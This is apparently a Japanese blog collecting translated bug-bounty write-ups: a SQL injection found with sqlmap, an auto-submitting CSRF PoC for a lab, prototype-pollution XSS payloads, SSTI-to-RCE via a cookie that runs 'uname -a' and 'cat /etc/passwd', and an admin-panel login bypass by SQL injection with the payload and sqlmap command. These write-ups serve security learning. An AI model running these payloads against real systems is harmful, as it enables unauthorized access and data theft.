Shikata Ga Nai

Private? There is no such things.

My first Critical on hackerone with a $6,400 bounty — SQL Injectionを訳してみた

Hello there, ('ω')ノ

 

賞金6,400ドルのHeckerOneでの最初のクリティカルを。

 

脆弱性:

 SQLインジェクション

 

記事:

 https://aryasec.medium.com/my-first-critical-on-hackerone-with-a-6-400-bounty-sql-injection-913566a12c6b

 

今回は、バグ報奨金プラットフォームの 1 つである HackerOne で、

非常に重大な脆弱性レベルのセキュリティ ホールをどのように見つけたかを。

 

セキュリティ会社 **** が所有するバグ報奨金プログラムで、

その会社の Web サイトで最も重要なドメインであるクラウド サブドメインで

このバグを発見し、***** から 6,400 ドルの報奨金を受け取り。

 

最初のステップは、リンク https://cloud.****/ にアクセスしようとすることで。

その後、サインアップ ページに登録するログインへのアクセス権がなかったためで。

 

次のステップでは、メール アドレス [ユーザー名]@wearehackerone.com を

登録して。

登録が完了すると、以下に示すように情報を入力するように指示され。

 

 

充填が完了したら、「次へ」ボタンを押して、Burp Suiteから記録された

データを確認し。

 

 

エンドポイント

https://cloud.****/****/****/****/dnt?level=standard®ion=gcp-us-central1

興味があるので、接続して。

Burp Suite のリピータ メニューを使用すると、下の図でサーバに

リクエストを送信すると正常に見えることがわかり。

 

 

しかし、リージョンパラメータに一重引用符を付けると応答が変わり、

500内部サーバエラーであるサーバ応答が表示され。

以下の画像で見ることができて。

 

 

ここでは、SQLmap 自動ツールを使用して、

サーバ情報 dmns バックエンド DBMS: **** をバイパスしやすくしていて。

 



インパクト

攻撃者は、PostgreSQL データベースに送信される SQL ステートメントを操作し、

悪意のある SQL ステートメントを挿入する可能性があり。

攻撃者は、データベースに対して実行される SQL ステートメントの

ロジックを変更することができて。

 

Best regards, (^^ゞ

 

CSRFで必要なPoCの作成をオンラインツールで生成してみた

Hello there, ('ω')ノ

 

Burp SuiteでPoCを作成する機能は、Pro版でしか使用できず。

例えば、下記のようなラボの機能において。

 

 

メールアドレスを更新する下記のリクエストを送信するPoCを作成する場合は。

 

 

手動であれば、ソースコードからPoCを作成するのですが。

 

 

下記のサイトを利用することに。

 


 

下記が、できあがったPoCで。

 

<html>
    <body>
        <form method="POST" action="https://0a10001904ff8e8680b93f8800e70035.web-security-academy.net/my-account/change-email">
            <input type="hidden" name="email" value="test%40mail.com"/>
            <input type="hidden" name="csrf" value="TYHliNCEGE5k8YHPGDlnn4IrHk4v3QHh"/>
            <input type="submit" value="Submit">
        </form>
    </body>
<html>

 

これを自動で送信したい場合は、scriptを追加するだけで。

 

<html>
    <body>
        <form method="POST" action="https://0a10001904ff8e8680b93f8800e70035.web-security-academy.net/my-account/change-email">
            <input type="hidden" name="email" value="test%40mail.com"/>
            <input type="hidden" name="csrf" value="TYHliNCEGE5k8YHPGDlnn4IrHk4v3QHh"/>
            <input type="submit" value="Submit">
        </form>
        <script>
        document.forms[0].submit();
        </script>

    </body>
</html>

 

Best regards, (^^ゞ

When not to rely on Automated Toolsを訳してみた

Hello there, ('ω')ノ

 

自動化ツールに頼るべきではない場合を。

 

脆弱性:

 プロトタイプ汚染

記事:

 https://medium.com/@rodriguezjorgex/when-not-to-rely-on-automated-tools-429b331e0613

 

自動化ツールを使用してプロトタイプ汚染を発見した方法

今回は手動でハンティングするのが好きですが、chaos ツールを使用して

サブドメインのリストを取得する以外は、通常はあまり偵察をせず。

そこで、次のコマンドを使用してカオスから始めて。

 

 chaos -d REDACTED > subdomains.txt

 

結果を確認した後、Burp Suiteを開いて内蔵ブラウザを実行し。

プロトタイプ汚染でドムインベーダーを有効にすることにして。

 

プロトタイプ汚染が有効になった DOM Invader

 

DOM Invader を有効にして、いくつかのサブドメインに移動すると、

DOM Invader がヒットし続け。

しかし、開発者ツールの [DOM Invader] タブを確認するたびに、

[エクスプロイト] または [ガジェットのスキャン] オプションが表示されず。

 

DOM Invader タブにガジェットが表示されない



ついにプロトタイプ汚染を発見

約 1 時間手動でサブドメイン間を移動した後、最終的に [DOM Invader] タブに

ヒットし、[ガジェットのスキャン] オプションが表示され。

 

「ガジェットのスキャン」を表示する「DOM Invader」タブ

 

[ガジェットのスキャン] をクリックすると、DOM Invader は使用する次の

ペイロードを見つ。

 

https://redacted.com/#__proto__[div][2]=%3Cimg+src+onerror%3Dalert%28document.domain%29%3E

 

URL に移動した後、アラート XSS を確認し、レポートの作成を開始して。


プロトタイプの汚染:自動化なし

レポートを提出すると、かなり早く優先順位が付けられ。

しかし、さらに印象的だったのは、24 時間以内にパッチ検証リクエストを

受け取ったことで。

 

クライアントはそんなに早くコードを修正したのか?

馴染みのない方のために説明すると、Synack では、レポートを送信すると、

クライアントは問題を修正した後にパッチの検証をリクエストでき。

パッチの検証を受け入れ、再び DOM Invader を有効にして

サブドメインに移動して。

 

そして再び、DOM Invader は、プロトタイプ汚染の脆弱性があるため、

ガジェットをスキャンするように指示し。

もう一度ガジェットをスキャンしましたが、驚いたことに、

DOM Invader はガジェットを見つけられず。


これで完了?

プロトタイプの汚染がまだある場合、クライアントは何を修正したのか??

調べてみると、クライアントはシンク、つまり XSS を反映していたコードの

部分を修正したようで。

しなければならなかったのは、追加のシンクを見つけることだけで。

しかし、DOM Invader はそれを見つけることができず。

では、別のシンクがあったのか?

 

前日、プロトタイプ汚染についてハッシュタグ #HackTheBox Academy を

勉強していましたが、ホワイトボックス攻撃モジュールで

クライアント側のプロトタイプ汚染に関する特別なトピックが

あったことが分かり。

このモジュールでは、DOM Invader が機能しないインスタンスもあり、

ガジェットを手動で見つける必要があり。

ガジェットを見つけるための Github リポジトリを提供して。

 

https://github.com/BlackFan/client-side-prototype-pollution/tree/master/gadgets

 

HackTheBox Academy モジュールで学んだのと同じテクニックを使用し、

クライアントの Web アプリケーションで使用できるガジェットを探し。

2つの異なるガジェットをテストした結果、正しいガジェットが見つかって。

 

https://redacted.com/#__proto__[preventDefault]=x&__proto__[handleObj]=x&__proto__[delegateTarget]=<img/src/onerror%3dalert(document.domain)>

 

アラートが再び表示され、問題が解決していないことをクライアントに通知し、

シンクだけでなく根本原因を確実に解決することに戻って。


結論

もし自動化ツールだけに頼っていたら、クライアントはパッチ適用後に

Web アプリケーションが安全であると信じたままになっていたはずで。

しかし、綿密な作業を行い、手動で調査を行うことで、

1つの脆弱性を悪用する追加の方法を見つけることができて。

 

最新情報を入手し、学習し続けることも良いことで。

HackTheBox アカデミーは素晴らしいリソースで。

自分の技術を向上させたいバグハンターに強くお勧めして。

 

Best regards, (^^ゞ

SSTI to RCE via CSRF Tokenを訳してみた

Hello there, ('ω')ノ

 

CSRF トークンを介した SSTI から RCE へを。

 

脆弱性:

 CSRF

 SSTI

 RCE

 

記事:

 https://satyajif.medium.com/ssti-to-rce-via-csrf-token-6db133df3e54

 

今回は、CSRFトークンを介した

サーバサイドテンプレートインジェクション(SSTI)から

リモートコード実行(RCE)について。


SSTI 自体は高から重大なバグのカテゴリに属しており、RCE を実行できるため、

間違いなく重大なカテゴリに属し。

 

その前に、作業を容易にするために、まず Cookie Editor アドオンを

お気に入りの Web ブラウザーにインストールして。

 

ステップバイステップ

まず脆弱な Web サイトにアクセスし、[Cookie エディタ] アイコンをクリックして

Cookie を編集し。

そこに CSRF トークンがある場合は、CSRF トークンを含む値を削除し、

次のようなコマンドで置き換えてみて。

 

 コマンド: {{system('uname -a')}}

 

 

次に、ページを保存して更新し。

何か違いや変化があるように見えるので、ソースを表示してみて (CTRL+U)。

脆弱性がある場合、結果は次のようになり。

 

 

上の画像がわかりにくい場合は、コマンドが実行されるスニペットを次に示し。

 

<input type=”hidden” name=”csrf-token” value=”Linux ip-172–31–46–31 4.15.0–1060-aws #62-Ubuntu SMP Tue Feb 11 21:23:22 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
Linux ip-172–31–46–31 4.15.0–1060-aws #62-Ubuntu SMP Tue Feb 11 21:23:22 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux” />

 

次に、コマンド {{system(‘cat /etc/passwd’)}} を使用して

/etc/passwd の内容を読み取ろうとし。

 

 

ここで SSTI を RCE に投稿するには、これで十分かもしれず。

バックドアをアップロードするにはどうすればよいか。


追加

システム関数を使用してもコマンドが実行されない場合は、

shell_exec、exec、passthru などの別の関数を使用してみて。

必ずしも 脆弱性ではないというわけではないので、

機能が無効になっているだけかもしれず。

 

Best regards, (^^ゞ

Blog Post: Bypassing an Admin Panel with SQL Injectionを訳してみた

Hello there, ('ω')ノ

 

SQL インジェクションによる管理パネルのバイパスを。

 

脆弱性:

 SQLインジェクション

 認証バイパス

 

記事:

 https://medium.com/@medz20876/blog-post-bypassing-an-admin-panel-with-sql-injection-20b844442711

 

導入

今回は、Web アプリケーションに管理パネルのバイパスを可能にする脆弱性を

発見したという最近の発見を共有したいと。

SQL インジェクションとして知られるこの脆弱性がどのように機能するのか、

また、それを悪用して不正アクセスを取得した方法について。


SQL インジェクションを理解する

SQL インジェクションは、攻撃者が悪意のある SQL コードをユーザ入力に

挿入することでアプリケーションの SQL クエリを操作できる攻撃の一種で。

アプリケーションがこれらの入力を適切に検証およびサニタイズしないと、

意図しない SQL コマンドが実行され、セキュリティ侵害につながる可能性があり。

 

ほとんどの場合、攻撃者/研究者が脆弱な URL パラメータに

(GET リクエストと POST リクエストの両方で) インジェクションを

行っているのが見られますが、場合によっては、SQL 構文/インジェクションを

使用してログイン画面をバイパスできる場合もあり。

この攻撃では、ログイン パネルをバイパスする攻撃と、

データベースの内容を返す攻撃の両方を実証することができて。


脆弱性の悪用


脆弱なログインページの特定

https://redacted.com/redacted/redacted_admin.xml にアクセスすると、

ログイン プロンプトが表示され。

資格情報を入力して「ログイン」をクリックすると、アプリケーションは

次の方法で資格情報を含む GET リクエストを送信し。

 

GET /redacted/redacted_admin.xml?id=admin&pswd=admin&uniqueId=0.5331820440279285 HTTP/1.1 2

 

基本的な admin:admin を試してもうまくいかず、ページ上の JS を読んだ後、

SQL インジェクションを試してみることに。

さまざまなペイロードをテストした結果、実際に機能するペイロードが見つかり。

ペイロードを使用して id パラメータに注入できて。

 

-6513%27%20OR%20%28SELECT%20INSTR2%28NULL%2CNULL%29%20FROM%20DUAL%29%20IS%20NULL--%20SpSw

 

リクエストの全文は次のとおりで。

 

https://redacted.com/redacted/redacted_admin.xml?id=-6513%27%20OR%20%28SELECT%20INSTR2%28NULL%2CNULL%29%20FROM%20DUAL%29%20IS%20NULL--%20SpSw&pswd=admin&uniqueId =0.5331820440279285

 

 

このリンクにアクセスすると、管理パネルにアクセスできて。


sqlmap を使用した追加の悪用

また、ステップ 1 の生のリクエストに対して sqlmap を実行し。

これにより、すべてのデータベースを取得することができ。

この強力なツールは、データベースの構造とその内容についての

貴重な洞察を提供し。

使用したコマンド:

 

sqlmap -r request.txt --random-agent --dbs --proxy=http://127.0.0.1:8080 --force-ssl --batch --risk 3 --level 3

 

予想どおり、データベースが返されて。

 


影響と結論

SQL インジェクションとして知られるこの脆弱性は、

大きな損害を与える可能性があり。

これにより、攻撃者がセキュリティ対策を回避し、機密情報に

アクセスできるようになり。

このような問題を防ぐために、開発者はユーザ入力を検証し、

サニタイズすることが不可欠で。

 

この脆弱性を発見した後、Web サイトの管理者に報告し。

管理者が修正に必要な措置を講じてくれることを願って。

SQL インジェクションは Web 上でよく見られる脆弱性であり、

その仕組みを理解することは、セキュリティ専門家と Web サイト開発者の

両方が実践方法を改善するのに役立って。

 

Best regards, (^^ゞ